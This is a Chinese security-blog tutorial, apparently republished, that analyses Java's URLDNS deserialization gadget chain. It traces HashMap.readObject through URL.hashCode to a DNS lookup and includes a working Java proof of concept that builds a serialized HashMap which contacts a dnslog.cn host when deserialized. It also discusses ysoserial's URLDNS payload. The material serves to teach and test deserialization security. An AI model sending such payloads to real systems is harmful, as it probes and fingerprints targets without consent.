Java安全之URLDNS链分析

admin 2024年10月18日09:15:18评论13 views字数 5072阅读16分54秒阅读模式

Java安全之URLDNS链分析

前言

今天来复习一下URLDNS这条链,水一篇文章吧。也弥补了Java安全系列的入门必学的一个利用链的文章的空白。URLDNS链本身不能执行命令,多用于构造 DNS 操作的 payload,它被广泛用于演示和测试 Java 序列化的安全性问题。

Java反序列化

我们先来学一个简单的序列化和反序列化的demo
这里主要是写了一个可以序列化的Person类,其中包含了两个属性,分别是name和age。
在主函数中,我们先实例化一个对象person,然后调用serialize将其进行序列化,并且输出为person.bin,紧接着调用deserialize将person.bin文件进行反序列化为一个deserializedPerson对象,然后通过调用get方法的方式获取其属性值进行输出。
package com.garck3h.Javasecure;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author Garck3h
 * @Date 2023/7/17 11:17 上午
 * Life is endless, and there is no end to it.
 **/

import java.io.*;

public class SerializeDemo {

    public static void main(String[] args) {
        // 创建一个待序列化的对象
        Person person = new Person("Alice"25);

        // 序列化person对象到.ser文件
        serialize(person, "person.bin");

        // 从.ser文件反序列化对象
        Person deserializedPerson = deserialize("person.bin");

        // 打印反序列化后的对象信息
        System.out.println("Name: " + deserializedPerson.getName());
        System.out.println("Age: " + deserializedPerson.getAge());
    }

    // 序列化对象到person.bin文件
    private static void serialize(Object object, String fileName) {
        try (FileOutputStream fos = new FileOutputStream(fileName);
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(object);
            System.out.println("Object serialized to " + fileName);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    // 从person.bin文件反序列化对象
    private static Person deserialize(String fileName) {
        try (FileInputStream fis = new FileInputStream(fileName);
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            return (Person) ois.readObject();
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
        return null;
    }

    // 定义可序列化的Person类,包含了两个属性,分别是name和age
    private static class Person implements Serializable {
        private String name;
        private int age;

        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }
        public String getName() {
            return name;
        }
        public int getAge() {
            return age;
        }
    }
}

Java安全之URLDNS链分析

URLDNS

 利用链:
 HashMap.readObject(ObjectInputStream in)
    HashMap.putVal()
        HashMap -> hash()
        URL -> hashCode()
            URLStreamHandler -> hashCode()
            URLStreamHandler -> getHostAddress()
        URL -> getHostAddress()
            InetAddress -> getByName()
首先,我们来看一下HashMap,HashMap是实现了Map<K,V>, Cloneable 和 Serializable 接口;意味着实现它的类可以被序列化。

Java安全之URLDNS链分析

然后我们来看到HashMap的readObject。这是重写了readObject,主要进行了读取序列化数据、校验参数、创建哈希表等;从而实现可以确保在反序列化后,HashMap 对象正确地包含之前序列化的键值对。这里我们重点看后面的hash(key)

Java安全之URLDNS链分析

跟进 hash (),可以看到,该方法接收一个 key 参数,这里主要实现计算键的哈希值,这个参数可以是任意类型的对象。

Java安全之URLDNS链分析

继续跟进去到了hashCode,返回对象的哈希码

Java安全之URLDNS链分析

在进行Java开发的过程当中会有很多类会直接或间接调用到hashCode()这个方法。我们点一下左边的按钮可以看到我这个版本的jdk里面大约有1175个方法重写了hashCode。当然我们这里可以直接看到URL类也是重写了hashCode。所以只要能够从前面的HashMap的readObject进入到 hash 以及参数可控,那么我们就可以利用了。

Java安全之URLDNS链分析

下面看一下URL重写的hashcode;声明一个整型变量 hashCode,并初始化为 -1;然后进行条件判断 (hashCode != -1),判断是否已经计算过哈希码。如果哈希码等于 -1,表示还未计算过哈希码,则调用 handler.hashCode(this) 方法,传入当前对象作为参数,计算对象的哈希码。

Java安全之URLDNS链分析

我们跟进到handler.hashCode;实现根据url对象的协议、主机、文件、端口和引用等属性,计算出一个唯一的哈希码作为对象的标识。重点看到353行调⽤ getHostAddress ⽅法,这个是生成主机部分的哈希码;继续跟进

Java安全之URLDNS链分析

在getHostAddress方法中,这里实现获取URL 对象的主机地址对应的 InetAddress 对象。如果没有缓存,会进行一次 DNS 解析来获取主机地址,并将结果进行缓存。这样可以减少重复的 DNS 解析开销,提高性能。

Java安全之URLDNS链分析

这时整体的思路就有了,首先是实例化一个 java.net.url对象,然后调用put传入给hashMap对象。然后再传入一个非-1的值作为参数,这样做是为了确保 HashMap 的插入操作不会触发DNS解析。最后将hashCode 字段的值设置为 -1,以使得在执行利用链时能够触发请求,也就是确保能调用执行handler.hashCode函数。

Java安全之URLDNS链分析

最终写出的一个demo
package com.garck3h.Javasecure;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author Garck3h
 * @Date 2023/7/17 11:12 上午
 * Life is endless, and there is no end to it.
 **/

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class demo {
    public static void main(String[] args) throws Exception {
        //实力化一个hashMap对象和一个URL对象
        HashMap hashMap = new HashMap();
        URL url = new URL("http://cm1b9l.dnslog.cn");

        //这段代码通过反射获取了 url 对象的 hashCode 字段,并将其设置为可访问。
        Field hashCodeField = url.getClass().getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);

        // 避免创建payload时触发请求
        hashCodeField.set(url, 0);
        hashMap.put(url, null);
        // 使利用链执行时能够触发请求
        hashCodeField.set(url,-1);

        //进行反序列化操作,输出为ser.bin文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
        oos.writeObject(hashMap);
        oos.close();
        System.out.println("序列化成功");

        //进行反序列化,以触发DNS解析
        ObjectInputStream oosin = new ObjectInputStream(new FileInputStream("ser.bin"));
        oosin.readObject();
        oosin.close();
        System.out.println("反序列化成功");
    }
}

执行之后,最近收到了DNS解析的请求

Java安全之URLDNS链分析

Ysoserial.URLDNS

先是在主类GeneratePayload;获取指定的根据命令行参数获取 payload 的类型和要执行的命令。使用 Utils.getPayloadClass(payloadType) 方法获取与 payload 类型对应的 payload 类

Java安全之URLDNS链分析

我们来看到URLDNS类;实现了 ObjectPayload 接口的 URLDNS 类,用于生成一个包含指定 URL 的 HashMap 对象作为 payload

Java安全之URLDNS链分析

然后调用PayloadRunner.run;在PayloadRunner.run可以进行序列化,序列化好的结果则为payload

Java安全之URLDNS链分析

参考

https://mp.weixin.qq.com/s/nMkV__cVYarjnTYsNPKMGg
http://blog.m1kael.cn/index.php/archives/449

原文始发于微信公众号(pentest):Java安全之URLDNS链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日09:15:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全之URLDNS链分析http://cn-sec.com/archives/1949342.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息